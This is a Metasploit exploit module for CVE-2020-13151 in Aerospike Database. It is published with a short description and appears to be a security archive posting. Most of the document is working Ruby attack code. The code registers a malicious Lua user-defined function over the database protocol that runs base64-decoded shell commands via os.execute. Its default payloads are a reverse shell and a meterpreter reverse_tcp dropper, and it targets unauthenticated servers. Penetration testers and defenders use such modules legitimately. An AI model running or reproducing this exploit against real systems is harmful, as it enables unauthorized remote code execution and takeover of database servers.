Authored by Brendan Coles, b4ny4n | Site metasploit.com

Aerospike Database versions before 5.1.0.3 permitted user-defined functions (UDF) to call the os.execute Lua function. This Metasploit module creates a UDF utilizing this function to execute arbitrary operating system commands with the privileges of the user running the Aerospike service. This module does not support authentication; however Aerospike Database Community Edition does not enable authentication by default. This module has been tested successfully on Ubuntu with Aerospike Database Community Edition versions 4.9.0.5, 4.9.0.11 and 5.0.0.10.

advisories | CVE-2020-13151

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Aerospike Database UDF Lua Code Execution',
'Description' => %q{
Aerospike Database versions before 5.1.0.3 permitted
user-defined functions (UDF) to call the `os.execute`
Lua function.

This module creates a UDF utilising this function to
execute arbitrary operating system commands with the
privileges of the user running the Aerospike service.

This module does not support authentication; however
Aerospike Database Community Edition does not enable
authentication by default.

This module has been tested successfully on Ubuntu
with Aerospike Database Community Edition versions
4.9.0.5, 4.9.0.11 and 5.0.0.10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b4ny4n', # Discovery and exploit
'bcoles' # Metasploit
],
'References' =>
[
['EDB', '49067'],
['CVE', '2020-13151'],
['PACKETSTORM', '160106'],
['URL', 'https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3'],
['URL', 'https://github.com/b4ny4n/CVE-2020-13151'],
['URL', 'https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html'],
['URL', 'https://www.aerospike.com/docs/operations/manage/udfs/'],
],
'Platform' => %w[linux unix],
'Targets' =>
[
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_command
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
],
'Privileged' => false,
'DisclosureDate' => '2020-07-31',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(3000)
]
)
register_advanced_options(
[
OptString.new('UDF_DIRECTORY', [true, 'Directory where Lua UDF files are stored', '/opt/aerospike/usr/udf/lua/'])
]
)
end

def build
header = ['02010000'].pack('H*')
data = "buildx0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end

def remove_udf(name)
header = ['02010000'].pack('H*')
data = "udf-remove:filename=#{name};x0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end

def list_udf
header = ['02010000'].pack('H*')
data = "udf-listx0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end

def upload_udf(name, data, type = 'LUA')
header = ['02010000'].pack('H*')
content = Rex::Text.encode_base64(data)
data = "udf-put:filename=#{name};content=#{content};content-len=#{content.length};udf-type=#{type};x0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end

def features
header = ['02010000'].pack('H*')
data = "featuresx0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end

def execute_command(cmd, _opts = {})
fname = "#{rand_text_alpha(12..16)}.lua"
print_status("Creating UDF '#{fname}' ...")

# NOTE: we manually remove the lua file as unregistering the UDF
# does not remove the lua file from disk.
cmd_exec = Rex::Text.encode_base64("rm '#{datastore['UDF_DIRECTORY']}/#{fname}'; #{cmd}")

# NOTE: this jank to execute the payload in the background is required as
# sometimes the payload is executed twice (before the UDF is unregistered).
#
# Executing the payload in the foreground causes the thread to block while
# the second payload tries and fails to connect back.
#
# This would cause the subsequent call to unregister the UDF to fail,
# permanently backdooring the system (that's bad).
res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})

return unless res.to_s.include?('error')

if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
else
print_error('UDF registration failed')
end
ensure
# NOTE: unregistering the UDF is super important as leaving the UDF
# registered causes the payload to be executed repeatedly, effectively
# permanently backdooring the system (that's bad).
if remove_udf(fname).to_s.include?('ok')
vprint_status("UDF '#{fname}' removed successfully")
else
print_warning("UDF '#{fname}' could not be removed")
end
end

def check
connect

res = build

unless res
return CheckCode::Unknown('Connection failed')
end

version = res.to_s.scan(/builds*([d.]+)/).flatten.first

unless version
return CheckCode::Safe('Target is not Aerospike Database')
end

vprint_status("Aerospike Database version #{version}")

if Gem::Version.new(version) >= Gem::Version.new('5.1.0.3')
return CheckCode::Safe('Version is not vulnerable')
end

unless features.to_s.include?('udf')
return CheckCode::Safe('User defined functions are not supported')
end

CheckCode::Appears
end

def exploit
# NOTE: maximum packet size is 65,535 bytes and we lose some space to
# packet overhead, command stager overhead, and double base64 encoding.
max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.
if payload.encoded.length > max_size
fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")
end

print_status("Sending payload (#{payload.encoded.length} bytes) ...")
case target['Type']
when :unix_command
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: max_size, background: true)
end
end
end